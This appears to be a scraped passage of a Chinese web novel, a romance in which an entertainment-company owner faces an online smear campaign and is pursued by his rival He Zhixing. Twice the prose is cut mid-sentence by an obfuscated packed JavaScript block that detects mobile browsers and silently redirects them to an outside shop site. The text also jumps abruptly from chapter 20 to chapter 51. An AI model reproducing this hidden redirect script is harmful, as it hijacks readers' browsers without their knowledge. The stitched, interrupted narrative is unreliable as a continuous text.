甄均在心底腹诽了一声双标狗。“你可以祈祷我下辈子投胎成一个性取向正常的女人,否则我是不会给任何人操的。” “……” “忘了问,你叫什么名字?” 裴青川拿起椅子上的外套,看清背面一大片干涸的白渍,打消了穿上的念头。 “Stream。” “死什么?”甄均反应过来,“英文名?” “嗯。” “你不是中国人吗,整什么洋名?”甄均合理怀疑对方是在装逼,“还是说你没有中文名字?” 裴青川拿着衣服走到了玄关处,转动门把手前意味不明地道:“等今后时机合适了再告诉你,希望你能坚持到那个时候。” 咔哒,房门被打开又很快关上。 他们这次仍旧没有过多事后温存,就像两个再寻常不过的炮友,严格执行那个不成文的规定。 等男人从房间内离开好一会,甄均解锁手机,先下单了几套衣服才从床上起来,洗过澡后注意到地上的布料碎片。 没认错的话这好像是男人昨晚用来绑他双手的领带,现在已经断成不对称的两截。 所以他这是生气了? 甄均用指腹轻轻摩挲着领带表面,最后五指猝然收紧,将碎片攥紧在了手掌心。 他之前有过不少床伴,为了方便随时发泄也包养过情人,但从来没有哪一个叫他产生过如此疯狂的征服欲。 他目前可以确定的是,男人的身份绝对不简单,光凭他昨夜使用皮带进行抽打的手法,就不可能在国内轻易请到私教。 - 方霁回到晋城后居家办公了几天,某天午饭正吃到一半,就接到了助理刘叉打来的电话。 “喂?怎么了?”现在正是午休时间,如果不是有要紧事,刘叉通常不会选择直接电话找他。 方霁在摁下接听键的同时就放下了手上的筷子,从桌面抽了一张餐巾纸擦拭嘴角。 “方总,您看到微博的最新热搜了吗?”刘叉的声音听起来略显慌乱和紧张。 方霁闻言退出通话界面,点开微博,进入热搜栏,从最顶上一条条看下来,目光最终停在了第九条上。 “有位女艺人出事了,被紧急送往医院后不知从哪传出来的谣言,说此次事故的主要原因在于我们公司管理不善,内部靠压榨员工、签订不平等合约赚取黑心钱。” 热搜的第九条正是“#方天娱乐公司吃人血馒头”的词条,并且正以惊人的讨论速度上升,方霁手滑刷新了一下就到了第七的位置。 而往下几条,就是“#方天人气女演员李颖身受重伤住院”。 18. 第 18 章 “方总,我们应该怎么办?” 方霁其实对此并无太大波澜,兴许是因为早就知道纸包不住火,他已经在心底幻想过无数次,现在听到,他反倒是松了一口气更多。 就好像死刑犯清楚地知道死亡会在某一天降临,每日都生活在提心吊胆之中,脑海中不受控制地反复模拟被处刑的画面,但当真正迎来时,却是终于解脱的如释重负。 “还能怎么办,遇到解决不了的事就报警呗,小学开始不就是这么教的。” 刘叉当然知道找警察是一种最快的办法,可一旦警方介入,这件事不仅有可能被网友进一步曲解,他们公司确实存在管理不善的问题也会跟着暴露。 作为方霁的助理,他同样知道公司资金链正处于断裂边缘,“可是方总……公司底下那些艺人会不会借此发挥?” 公司被诱骗签下不平等合同的艺人多达十几位,尽管有方霁的事先承诺,但也难保不会有人中途反悔,将水搅浑,以便索求更大的赔偿。 “我担心他们会对公司不利。” 虽然被骗一事,确实也怪那些艺人自己法律意识淡薄,轻易就签下了自己的名字,但他们只要一天还是方天的签约艺人,拿着跟方天的签约合同,公司就不可能完全置身事外。 方霁要想解雇他们,无正当理由,光是需要赔付的违约金总数,他现在也拿不出来。 更何况如果那些艺人一口咬死这事跟公司和方霁有关系,方霁又不能拿出证据证明自己毫不知情,这事纯为杨氨一手操作,到时候事态二次发酵起来,同样是一个令人头疼的问题。 厨房的热水烧好了,方霁起身给自己冲泡了一杯水果茶。刘叉说的这些隐患,他自然也都清楚。 “不报警就能让他们配合,局面朝着我们希望的方向发展吗?” 刘叉噎了片刻,感觉方霁说的也有道理。人心最叵测,十几个人更是一个巨大的变数。 “直接报警请律师吧,该走什么流程就走什么流程,另外帮我留意一下舆论动向。” 刘叉应下,问:“需要派人压一下热搜吗?” 方霁喝了一口稍微冷却的水果茶,暖流进入体内,顿时从嗓子眼到肺部都熨帖了不少。 “不用,我没钱。” 刘叉:“……好的方总。” - 事情果不其然发酵的很快,因为引起了现今上班族的强烈心理共鸣,当天下午就登上了热搜第一,连续霸榜多天,讨论度只升不减。 方天娱乐的官方账号至今没有给出任何回应,就连方霁也没有出面进行半句解释。他和一些高层主管的后台都快炸了,铺天盖地的私信和评论艾特。 方霁有天愣是被响个不停的消息整得手机都死机了,于是重启后他做的第一件事就是将微博卸载,求个清静,也懒得和那些不认识的网友进行无意义争论。 在强有力的证据前,不管他怎么解释,总有人能鸡蛋里挑石头。 刘叉已经报了警,由警方介入协助调查舆论的源头,但面对数量庞大的帖子,这件事要排查起来并非易事。 方霁也在公司群里下达了强硬命令,在彻查清楚究竟是谁蓄意造谣之前,公司内部上至股东,下至门卫和保洁阿姨,都不允许在个人社交平台上擅自回应任何谣言以及参与公开讨论,违者视情节严重性克扣工资,甚至是开除,永不再录用。 面对方天公司全体上下缄口不言的态度,方霁就算不用上微博看,也知道舆论会变成什么样,指不定已经冒出诸如“#方天采取强制手段限制员工言论自由”、“#方天虚心回应,事件实锤”等词条了。 事实证明他也没猜错,虽然词条关键词不是一模一样,但大致意思却是相同的。 除了微博,各大短视频的营销号也纷纷下场,借此机会蹭一波流量博取眼球。 甄均平日不爱上微博,软件后台一直开的消息免打扰,直到这天下午刷着手机短视频,一个营销号提及方天娱乐公司近日陷入舆论风波的事件中。 甄均先是觉得这公司名字听着耳熟,在看到放出公司大楼的图片后,才确认这就是方哥的公司。 他脸色难看地点进评论区,因为营销号有意无意地带节奏,底下几乎一边倒地在抨击方天公司是当代资本家,甚至有人声称正在人肉方天高层的个人信息,要将他们全部公之于众接受审判。 甄均将那条评论举报了。这种一看要么是没长脑子,要么就是心智没成熟的未成年,随后火急火燎地给方霁打去了电话。 方霁正在家里做康复训练,接听甄均打来的电话,那边劈头盖脸就是一句:“方哥,你公司出了这么大的事,怎么不告诉我!?” 方霁嫌弃地将手机拿远了点,道:“又不是什么断头的严重事,告诉你干嘛?” “这还不严重!?”甄均一想到那些恶意十足的评论就怒不可竭,“你知不知道现在网上那些营销号有多恶心,底下更是一群光长眼不长脑的,别人说什么就信什么。” 他没方霁这么能沉得住气,谁他妈要是敢造谣他,保证会叫对方后悔一辈子张开了那张臭嘴。 方霁用脚趾头都能想象出那些网友会怎么说,这么多年的网络也不是白刷的,却还有闲心笑:“你怎么就不想想万一这事是真的,我是因为做贼心虚才不敢出面的呢?” “还是待在家里舒服,不用上班,还有吃有喝,每天睡到自然醒。” “别开玩笑了方哥。”甄均不爱听见这话,“我跟你认识那么久,还不知道你是一个什么样的人。如果有一天连你都压榨员工赚黑心钱了,我也就真相信太阳是从西边升起的。” 方霁没想到他会这么信任自己,于是在短暂的沉默后,也收敛起那副不正经的语气,松口跟他说了自己接下来的安排,让他不用过分担心。 “放心吧,你哥我又不是吃素长大的,在社会摸爬滚打这么多年,你觉得我要真是一 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借助饮食调理和康复训练,加上本来就不是十分严重的骨折,方霁的腿在回到晋城后没多久就可以扔掉拐杖自由活动了。 为了安全起见,他让助理帮忙开车,先去了一趟当地的皋肖医院。 这是一家私人医院,许多艺人生病或者体检都会选择来这里,具有较高的私密性。 方霁拿上礼物和水果,进入医院的大厅。 李颖怎么说也是他公司的艺人,现在出了事,他这个做老板的于情于理都该过来看一眼。 只是还没来得及上楼,他就在走廊上遇到了刚从药房出来的贺知行。 两人猝不及防碰面,皆是一怔,接着异口同声。 “你怎么在这?”方霁眉头微蹙。 “你怎么在这?”贺知行不动声色地扫了一眼方霁受伤的那条腿,石膏早就拆了。 方霁将东西交给了身后的刘叉,示意他先上楼,才对着贺知行道:“我来看望员工。” 贺知行也回答道:“最近在公司加班感冒了,怀疑是流感,过来挂一天水。” 方霁看到贺知行手上确实拿着用透明塑料袋装着的药,也就信了他的话。 贺知行因为公司临时有事的缘故,当初比他提前了一天回晋城,这段时间他们除了晚上会在一个诡异的视角上相见外,没有任何私下联系。 方霁觉得这才正常,之前在隔壁市,贺知行对他关怀备至得就跟误食了神经类药物,每天都要赖在他病房内,赶也赶不走,骂也骂不动。 两人之间没有过多寒暄,临走前,方霁提醒了他一句“多喝热水”。 “等一下。”贺知行却叫住了他,走上前来。 方霁以为他是近视,可随着距离越缩越短,直至进入一个危险的社交范围,对方也丝毫没有要停下的意思。 19. 第 19 章 直至与面前的人仅剩半步之遥,贺知行才终于停下,抬起手,亲自给方霁带上一只口罩:“干净的。最近得流感的人多,注意防范。” 温热的指腹无意间蹭到耳朵,有些痒,方霁忍不住生出想要后退的冲动,但碍于对面是贺知行,他还是克制住了,度秒如年。 贺知行将口罩给他戴好,方霁才忍无可忍一把将人推开,转过身就要走,谁知因为动作太急,在瓷砖地面脚下打滑。 贺知行及时捞了他一把。 “谢谢。”方霁别过脸浑身不自在道,将胳膊从他那里抽了回来,再次离开。 等进了电梯,方霁平复了一下差点摔跤而加速跳动的心脏,回想起贺知行的一系列举动,迟来地感到愠怒。 这家伙没事非得动手动脚干嘛,一个口罩而已,直接给他不行? 方霁借着电梯内的反光,打量着口罩的同时摸了一下方才被贺知行手指触碰到的耳尖。 耳朵是烫的,口罩上还有着苦涩的酒精味。 三分钟后,方霁根据提前得到的房号来到病房门口。 李颖的状态明显较前几天好了许多,纵使是在纯素颜的状态下,仍旧五官立体精致,是一种偏向清纯的少女风长相。 但真正了解她的人才会明白,这小姑娘的性格与她的长相究竟存在多大的反差感。 李颖一看见方霁进来,连忙起身要向他问好,方霁制止了:“身体不舒服躺着就行。” 李颖却坚持要站起来:“小问题而已,这么多天过去也快好透了,明天就能出院回到剧组正常拍戏。”她将事先清洗好的水果给方霁端上来,又给他倒了一杯热水。 方霁象征性地吃了一颗葡萄,问起她这次住院前的具体经过。 李颖没有半点隐瞒,事无巨细地告诉了方霁。 原来她根本就不是网传的那样身受重伤危在旦夕,只是因为拍了一晚上的戏,第二天早上急性肠胃炎犯了,腹痛、呕吐再加上突如其来的高烧,这才被紧急送往了医院。 “网上居然还说我是因为长期遭受公司的非法打压,癌症复发了才进的医院,甚至找了一张前年我在片场拍戏没什么人知道的照片,将我化妆后的状态经过二次P图,说成是重病的征兆。” “要不是我还记得那场戏,都得怀疑一下自己是不是真出了问题。”李颖对网友颠倒是非黑白的能力既生气又觉得好笑。 方霁听说过李颖患有急性肠胃炎的事,在进入公司之前就有了。平日里一直在调养,病发的次数并不多。 “下次拍戏不用这么拼,以身体为重。”方霁提醒道。 李颖不是童星出身,进入娱乐圈不到五年,既没什么人脉也没家庭背景,但凭借着惊人的努力和高水平演技,很快就在一众新人当中脱颖而出。 之前方霁有项和周大导演的合作,猩光晚会的酒宴上,王拔担还想将自家情人塞到他这里来,但他最后没同意,过后女主一角向周导举荐的正是李颖。 李颖自己也很争气,试镜后周导对她非常满意,连后面的人选都不看了,当即拍案敲定就是她。 周导算得上是圈内出淤泥而不染的存在,对于拍戏一向要求严苛,每一条都会直至拍摄满意为止,过去没少骂哭过演员。李颖进组后,也感觉到不小的压力。 前几天就是,她因为有场戏的理解不到位,始终发挥不出周导想要的效果。 本来周导是打算第二天再补拍,但李颖不想又耽误第二天的进程,靠着反复尝试和努力调整状态,坚持拍摄了一晚上,直到凌晨才终于过了。 对于方霁的好意提醒,李颖却摇了摇头:“方总你不懂,像我们这种从农村一路打拼上来的底层人物,要想争取一个机会有多么不容易。娱乐圈就是一个瞬息万变的地方,资源总共就那么点,既然我能挤掉别人获得这个位置,难保不会再有后来者居上。” “如果我再不趁着机会摆在眼前的时候拼命,今后我肯定会痛恨现在的自己。” 方霁算是小康家庭出身,确实从小到大没有体验过农村艰苦的生活条件,但当年创立方天娱乐,他是白手起家,没跟家里索要任何金钱上的援助。 当然,这并不代表他和家人之间的关系不好。前几天公司的事被方父方母知道,二人每隔一阵子就要打来电话,想给他做心理疏导。 殊不知他们儿子一点心理问题都没有,反而是方霁最后安抚了他们好一会。 方霁知道一个机会的来之不易,也清楚要想抓住这个机会向上爬的艰辛。 “对了方总,这几天住院,网上那些舆论我都看见了,今天看到你没有受到太多影响,说实话我也松了一口气。但您为什么拦着我们,不允许我们替您上去解释一下?” “要是晒出我的病历单,也算是一种澄清证明。” “那还不够。”方霁拒绝了,并且反问道:“要是有人说你的病历单是P图造假呢?” “你都说有人通过P图造谣你重病,一张病历单自然也能反过来被网友提出质疑。” 李颖一愣,她确实没有想到这一点上去,一时惭愧不知该怎么接话。 “不用有太大心理负担,你现在好好养病就是给我帮了大忙,等有需要的时候,我会再联系。” “……” 方霁又在病房内多待了一个小时,直到李颖的助理匆忙赶过来换班,方霁才准备离开。 “真是对不起方总,我家住得离这里有些远,今天那边发生一起交通事故导致堵车,所以来的晚了,实在不是有意拖延时间。” 方霁没有计较,“没事,是我自己留下的,跟你没关系。” 几分钟后,方霁从医院内出来,刚要打电话询问刘叉现在在哪,就在大厅内看到了迎面朝他走来的贺知行。 方霁只好暂且放下手机,“你怎么还没走?” 贺知行却答非所问,主动提出给他当司机:“钥匙呢?我给你开车,你腿应该还没彻底好,今天又站了那么久,这会就休息一下。” 最近因为流感多发,各大医院内都挤满了病人,病房内没有多余的椅子,全抽走拿去给病人坐着挂水了,所以方霁从下车进入医院开始,就一直站到了现在。 放在平常,就站这么区区一会,对于方霁来说根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13773840|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不是什么难事。 但现在不行,贺知行这么一提,他也确实感觉小腿发酸,脚踝的地方隐隐传来即将超出负荷的疼痛。 只是他自己带了助理,为什么要用贺知行?还会多欠他一个人情。 “不用了,贺大总裁身份金贵,怕是从没干过给人当司机这么委屈的活,我就不来破这个例了。” “是你的话,可以。”贺知行认真道。 “刘叉已经先走了,你是想在这里等到天黑,还是顶着可能造成交通事故的风险危险驾驶?”他说这话时语气如常,没有任何嘲讽的意思。 可方霁还是脸色一变,怒道:“你凭什么命令我的助理先回去。” 贺知行眸底平静道:“他临时有急事,所以我才特意留下来等你。” 方霁对此仍有怀疑。 “你不是还要去一趟公司?先走吧,我晚点也有事。”贺知行已经转身往外走。 方霁犹豫片刻,最后还是跟了上去,将车钥匙给他。 - 刘叉在附近超市买了两瓶水和几个可以垫肚子的面包,刚付完账出来想找自家老板,就看到原本停着黑色轿车的地方已经空无一物。 刘叉拿着水和面包,站在空地怔愣了好半晌,才终于确认不是自己的错觉。 方霁是在车辆行驶出去十几分钟后接到了助理的来电。 “方总,您和车在哪?”刘叉茫然道,围着停车位又转了一圈,连地皮都快瞧穿了。 方霁不解道:“你不是有急事先走了?” “啊?没有啊方总。”刘叉否认道:“我看您今天起的那么早,可能还没来得及吃早餐,就想去超市帮您买些吃的先垫一下。” 方霁闻言瞥了一眼正专注于开车的贺知行,立刻就猜透了一切。他眉眼间黑压压地透着阴沉,对刘叉道:“路上碰见一条撒谎的流浪狗,觉得有意思,准备带去绝育。” 狗?还能撒谎? 而且方总的腿伤不是没完全好吗,怎么开的车? 刘叉还没想明白,方霁就留下一句“你自己打车回来,钱我给你报销”,先挂断了电话。 少顷,方霁冲着驾驶座上的人皮笑肉不笑道:“没想到贺总为了给我当这个司机,竟如此煞费苦心。” 他方才还纳闷来着,刘叉这小子虽然傻了点,还爱看些没营养的总裁小说,但不至于一声不吭地就先离开,再不济也会给他发条消息。 贺知行没有解释,恍若没听到方霁的话一样,目视前方。 “停车!”方霁道,眼底一片冷然。 谁知道贺知行究竟是不是真心想送他去公司,相反,趁他不备拉他去黑店摘心买肾的可能性更大一些。 贺知行降低了车速走在马路外道,却没有停车。 驾驶盘还在贺知行手中,方霁还没有丧失理智到现在就出手揍人。 “我不去公司了。” 贺知行这回终于有了反应:“去哪?” 方霁扯出一个冷笑:“去宠物店,给狗做绝育,顺便检查一下耳朵是不是也有毛病。” 贺知行:“……” 20. 第 20 章 贺知行没有将车直接开到方天娱乐公司楼下,更没有开到宠物店前,而是载着方霁先到了一家餐厅。 抵达这个根本不是所希望的地点时,方霁面色铁青,快赶得上超市里的大头菜。 见方霁抱手于身前一动不动,还在赌气没有要下车的意思,贺知行先下去,绕到副驾驶的位置替他打开车门 这一举动直接将方霁的怒火推向巅峰,猛地转身,刚要冲着贺知行踹出去。因为习惯了用右脚,却忘了自己的伤也在这条腿上,才抬到一半,就传来一记刺痛。 方霁神情微变,顺势将右腿跨出车身踩在了地面,同时左手一把揪住了贺知行身前的领带,将人拽到面前。 整个过程只发生在电光石火间,贺知行没料到这一下,脚底踉跄半步,身体顿时失去平衡,朝着他压倒过来。 方霁还没来得及教训人,就猝不及防反被贺知行扑倒在了座位上。贺知行的一只手垫在他的脑后,另一只手的手肘撑在他腰侧。 方霁差点被他压得隔夜饭都给吐出来,手背青筋暴起:“你他妈就是故意等着整我的是吧!” 两人之间挨得极近,不到一个拳头的距离,连彼此身上洗衣液的味道能都闻得一清二楚。方霁脸上带着黑色口罩,只露出一双漆黑明亮的眼睛,但贺知行还是能够幻想出他说这话时的神情。 他可以解释方才是因为方霁先动手突然拽了他,他没有站稳,但一想到方霁的性格,可能会惹得其更加生气,于是话临到嘴边,只剩下了三个字。 “对不起。” 两人的姿势实在引人遐想,车附近已经开始有不明真相但爱看热闹的行人停下,碍于这是公共场合,方霁最终没有真的发作。 “愣着干什么,还不起来?” 贺知行其实看出他最开始的意图,没有戳破,道:“需不需要我抱你进去?” 方霁没好气道:“你再趴在我身上说一句废话试试。” 贺知行将手抽回来起身,又后退几步,给他让出空间。 方霁站起来后也没让他扶,自己单脚微瘸地走进了餐厅。 开什么玩笑,他会再给贺知行当众折辱他的机会? 至于今天这笔账,他算是记下了,总有一天他会连本带利地亲手讨回来。 贺知行视线微微下敛,扫了一眼留有明显褶皱的领带,没有再整理,跟在方霁后面进了餐厅。 现在已经是上午十点半,早餐已经结束供应,吃午饭的话又有些太早,但对于方霁来说却刚刚好。 “我记得你不是不爱吃早餐的人,今天为什么不吃完再出来?”等待餐点上来的间隙,贺知行问道。 刘叉经过医院大厅时,他从对方口中得知了方霁没有吃早餐的事。当时刘叉说要去给方霁买些水和面包,他的第一反应就是:那些东西能有营养? 方霁是想过吃来着,但上回甄均帮忙购置放进冰箱内的食材都吃完了,他没法再做一顿合适的早餐,最近又处于特殊时期,他担心下车去买店里现成的会被人认出来。 “就算时间再紧张,你也可以让助理代为去买。”贺知行用桌面的热茶将两人的餐具都润洗了一遍,然后倒入一旁的废水缸中。 方霁百无聊赖地刷着手机,看到有关自己公司的虚假内容依旧面色不改。他不想说自己忘记还能这么操作了,也挺不耐烦贺知行这种语气。 “就是偶尔一天没吃早餐而已,都是同龄人,你用不着以我爸的口吻来提醒我。” 真要算起来,他是五月出生的,还比贺知行大三个月。论当长辈,也该是贺知行这混帐叫他爸爸。 至于他为什么最后还是选择了进到这家餐厅,没别的原因,单纯不想花钱而已。 贺知行在医院大厅骗了他,他白吃他一顿饭完全不过分。 贺知行将清洗好的碗筷放回到方霁面前,摆放整齐。 他当然也想以其他更合适的身份来提醒方霁,但现在还不是时候,于是没再聊这个话题。 - 两人都不是用餐时喜欢不停说话的人,直至用餐结束,贺知行才将一张照片递给他,“你看下认不认识这个人。” 照片上,黑色的夜晚和路面占去绝大部分,一旁是只拍进去一半的楼房,画质也较为模糊,但方霁还是一眼认出这是自家小区的画面。 贺知行指着右下角那个戴着兜帽的人,说:“这是我调取你家小区监控截的图,从事情开始冒出那天起,这个人就经常出现在小区内,并且目标明确,只盯着一单元转。” 人物在整张照片上只有五分之一不到,对方明显有备而来,将自己包裹得很严实,通过身形来辨认的话,应该是一个身高在一米七左右的男人,微胖。 “不行,信息太少了,我认不出。”方霁将视线从照片上移开,落在贺知行身上:“也有可能是对方专门雇来的,之前跟我没有任何交集。” 这已经是贺知行能够找到的最清晰、特征最明显的截图,也不是没有猜想过方霁可能跟这人不认识。 前天晚上,他带人尝试蹲守将其抓住,好直接问个清楚,可惜对方太狡猾了,事先熟悉过方霁家小区的地形,带着他绕了几圈后就没影了。 因为这次的打草惊蛇,对方最近两天没再出现,贺知行也不确定他究竟还不会现身。 “我有一个办法,说不定可以引蛇出洞。” 根据网络上的舆论动向,这次的事件很明显是冲着方天公司和方霁本人来的,目的也显而易见,令公司垮台,方霁身败名裂。 “什么办法?”方霁对他的话产生了兴趣。 贺知行向方霁详细说了自己的办法和建议,方霁听完没忍住笑出一声,双手交扣轻轻搭在膝盖上,道:“没想到我们在这件事上的想法挺一致。” 如果不是这些年将关系闹得太僵,他们或许还能像大学时期那样,继续做一对默契的搭档。 方霁想起多年前的事,不由得有些出神,脸上也越来越难看。 贺知行察觉到他状态的不对,倒了一杯水,借着递过去的功夫碰了碰他的手背:“怎么了?” 方霁先是条件反射似的浑身一颤,将手远离了贺知行的靠近,旋即才意识到自己反应过度。 他接过贺知行的水,没喝,而是放下后揉了揉酸涩的太阳穴。 “没什么。”他迅速调整好了自己的状态,像是什么都没发生过一样。“饭也吃完了,贺大总裁这回应该不会再中途使诈不送我去公司了吧?” 贺知行也给出承诺:“不会。” 这人大学时期就很会打架,跟宿舍的人打架,跟班上的人打架,跟社会上的人打架,典型的吃软不吃硬, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13773841|145710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到后面步入社会,才逐渐收敛,变得沉稳许多。 这几天的事情要是放在九年前,方霁抄家伙找上对方,将人抽筋扒皮,贺知行都丝毫不觉得意外。 - 方天娱乐一天不正面回应,事件就始终停留在一个论点不足的谣言性质上,也有较为理智的网友保持中立状态。 方霁本人并不怕那些流言蜚语,要是连这点心理素质都没有,他还开什么公司。 果不其然,在又等待了几天后,幕后之人终于按耐不住。 方霁那天到公司巡视一圈,确认没有异常状况,又交代了点事情就走了,后面便一直待在家里足不出户,有事就通过线上会议或者电话联系,没事就在家看书做康复训练。 甄均来帮他补齐冰箱里的食材,关上冰箱门后,抿了下唇:“方哥,要不你给我腾个地,我在你这住几天吧?” 不用按时到公司上班之后,方霁的生活每天都很悠闲轻松,也算是借此给自己放个假。他吹凉了些手上的绿豆汁,随后喝了一口。 用家里榨汁机现榨的,不含任何添加剂,健康又清甜。 “你又没钱住酒店了?”方霁反问道。 甄均一开始来晋城是为了找方霁叙旧,顺便帮他爸和一位合伙人见面。他的原定计划是十天,那位合伙人也没怎么为难他,反倒盛情款待,双方沟通的很融洽。 按理来说他是该回去了,但后面又临时应了周女士的要求跟那挨千刀的大表哥学习,他才一直留到了现在。 方霁不会过分干预甄均的事,甄均想在晋城待多久他也都没意见,毕竟腿长在人家自己身上。 “不过我这回自己都还负着债,是真没钱借给你住五星级酒店了。” 甄均凑过来,假装抹了把泪,道:“方哥,我在你心里就如此不堪,只会到处借钱吗?” 方霁一眼就看穿他又戏精上身,和善而不失礼貌地笑道:“不,你还会便秘。” 甄均倏然噎住,也演不下去,坦白道:“我是怕网上真有疯子人肉到你的个人信息,直接找到你家里来。” 方霁却还是拒绝了:“算了吧,我懒得给你收拾地方。你就只住那么几天,到时候我还要将被子重新洗晒一遍。” 甄均又缠了方霁好一会,还是没能令他松口,最后也只好遗憾离开。 “我一会回去就换到附近的酒店来住,真遇到什么事儿记得第一时间给我打电话。” 方霁这回答应了他。 有了贺知行此前的提醒,方霁现在非常确定对方是冲着他来的,否则公司那么多人,为什么就偏偏只盯着他一个人? 敌暗我明,主动出击未必是种好办法。 方霁身上穿着睡衣,喝着浓稠的绿豆汁。他昨天将微博重新安装了回来,没登原本的账号,而是用新创建的小号,此刻刷着有关方天公司和他自己的帖子。 看来看去,越发觉得可能真是存在代沟的原因。这些人的辱骂手段还真是一点新意都没有,他从高中开始就不用了。 就在他准备退出时,一条放有他照片的微博由大数据推送到了他面前来,光是底下评论就有六万条。 照片是从侧面拍摄的,类似酒店或者宾馆的环境,他和另一个异性衣着暴露,距离过分暧昧地躺在床上,他的手上还握着女方的一条腿。 50-60 第51章 第 51 章 次日, 方霁在贺知行家用的早餐,期间和蓝书柳聊了良多。 她没有提出什么为难的问题,大都是些家常琐事, 就这样有一搭没一搭地聊着, 方霁竟也不觉得烦。 只是刚从房间出来下到客厅那会,蓝书柳在见到他时抿紧了下唇, 露出难色, 似乎在思考着该用怎么样的态度来面对他。 短暂对视了两秒后才展颜一笑, 对他说了一声“早上好”。 方霁敏锐地察觉到什么,但暂时不敢确定, 回了一句同样的问好。 丈夫还在国外的医院接受治疗,不能离人, 蓝书柳本身也不忍心让其一个人在那边等太久, 所以订了后天的机票回去。 贺知行今天没有工作, 准备好好陪蓝书柳在晋城玩上一圈。 方霁却是不敢再继续多待。倒不是因为忌惮贺知行发疯, 怎么说家里还有长辈在, 血脉压制下再疯也疯不到哪去。 而是在于蓝书柳的热情和关心,会令他生出一种不自在和罪恶感。 尤其她的好儿子昨晚在一墙之隔的地方对他做了那种事。 和蓝书柳打了声招呼后, 方霁准备离开, 却看到一道熟悉的身影不知何时等在了玄关处。 他的身后就是唯一的出口。 两人的视线轻触上,贺知行转身替他打开了门, 随后朝他走过来,娴熟且自然地牵住了他的右手,带着他往门外去。 方霁脑子一懵, 下意识跟着他一块走。 从玄关到外面只有不到十步的距离, 时间很短,方霁甚至都没反应过来要去挣脱, 时间又很长,叫他连贺知行手心的温度都感知得一清二楚。 “追人的基本流程。”贺知行解释道。 方霁瞥了一眼两人十指交扣的手,却是不信:“你这是追人?” 这看起来更像是已经谈上后才会做出的行为,他怎么不记得自己有一块答应贺知行的表白。 另外,贺知行好像很喜欢这个动作,前几天在公司也是这样不由分说地挤入他五指间。 蓝书柳想起件事,到厨房抽出烤盘,拿到客厅桌上,将盘内的东西快速装进油纸袋中,“嗳,小方你等一下,我还有东西没拿给你。” 两人站在离门不远的位置,贺知行背对着,方霁正对着,这个角度他恰好可以看到蓝书柳在客厅进行打包。 手还握在一起,不确定贺知行究竟是聋了还是傻了,迟迟没有要松开的架势。 “快、松、手。”方霁用气音提醒道,他的手劲敌不过贺知行,更没他那么不要脸敢在长辈面前腻歪。 蓝书柳已经将东西全部装入,开始卷起油纸袋的边缘进行封闭。 “下次再见面,我可以亲你吗?”贺知行看着他,冷不丁道。 “啊?”方霁一度怀疑是不是自己耳朵出了问题,再看贺知行的神情,半点不像是在开玩笑的样子。 “你要闹也得看看现在是什么时候。”方霁的语气里不自觉带上轻微恼怒。 蓝书柳包装好,一路小跑着追出来。 已经没有时间,眼见蓝书柳离他们只剩短短几步,马上就要发现,方霁再一次提醒:“松手。” 贺知行没有得到回答,无动于衷。 方霁服气地闭了闭眼,终于退步从牙关挤出一个“好”字。 贺知行这才赶在被看见的前一刻放开他的手。 过去好一会,方霁都感觉手指间麻麻的。 至于刚才同意的事,两嘴一碰,他就当被狗舔了一口。 蓝书柳将油纸袋交到方霁手中,“我看小方挺喜欢吃这款曲奇的,好在我今早多烤了些,都已经装好了,你一块带走吧。这种天气放个一两天不成问题,上班要是饿了还可以当零食充充饥。” 方霁迅速收拾起面对贺知行时的心情,看不出一丝破绽,受宠若惊地收下。 “又麻烦阿姨了。” “哪里的话,你喜欢吃我做的东西我高兴还来不及呢。” 等两人结束对话,一旁的贺知行适时道:“我送你去公司?” 蓝书柳反而先顿了一下,看向自家儿子。 方霁拒绝了,“不用,我自己开了车过来。” 贺知行没再强求,“路上小心。” “嗯。” “……” 等方霁的车辆在眼前开走,蓝书柳紧绷的身体悄悄放松下来。 她怎么也没有想到,自己儿子这么多年不肯找女朋友,居然不是因为觉得时机尚未成熟,而是早就心有所属,悄无声息地暗恋了对方十一年。 她这个做母亲的居然到今天才知道,心底难免不是滋味。 蓝书柳此前在网上看到过有关同性恋话题的热搜,底下评论有支持的,有抨击的,她闲来无事翻看了不少,对这个群体有了一个大概的了解。 其实她还挺喜欢小方这孩子的,稳重、嘴甜、有礼貌,但要接受儿子的朋友突然变成了同性恋人,对于任何一个母亲来说肯定都不是一件轻松容易的事,所以今早才不知道该怎么面对方霁。 她还需要一点时间来消化。 小别墅临江,早晨的风有些大,贺知行见母亲仍望着车辆消失的方向,将身上的外套脱了下来,盖在她身上。 感受到肩上多出来的暖意,蓝书柳转过脸笑了笑,犹豫片刻,还是决定问出口:“真的非小方不可吗?” 贺知行却没有任何犹豫,他的答案始终如一:“嗯。” 蓝书柳点点头,明白了- 方霁将蓝书柳给他的曲奇放在副驾驶上,直接开车去了公司。 刚将车停好,从车上下来,还没踏入公司大门,一个原本坐在不远处花圃砖块上的男人在看到他后霍然起身,冲了上来,临近时张开双手。 方霁听见身后的动静,回过头再做出闪躲反应时已经来不及,对方一把抱住了他的腰。在惯性的作用下,他没站稳,两人一起摔到地上。 方霁后脑勺着地,霎时间眼冒金星,视线一片模糊,耳边变成嗡鸣声。 男人压在他身上,年龄大概在三十左右,穿着一身运动装,头发乱糟糟的,眼底有着因睡眠不足产生的红血丝,胡子拉碴,像是快有一周没剃过。 方霁被对方身上浓郁的烟酒混杂气味熏到,胃部冒出隐隐不适。 